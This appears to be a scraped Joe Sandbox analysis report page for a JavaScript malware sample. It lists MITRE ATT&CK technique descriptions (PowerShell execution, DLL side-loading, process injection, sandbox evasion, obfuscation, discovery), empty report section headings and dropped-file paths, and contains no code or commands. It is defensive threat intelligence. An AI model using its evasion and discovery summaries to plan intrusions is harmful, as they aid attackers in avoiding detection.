Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 584319483127519041.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3c042a21-4f80-4ad2-8bba-1eb0e51b7c96.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8176

Windows Analysis Report
584319483127519041.js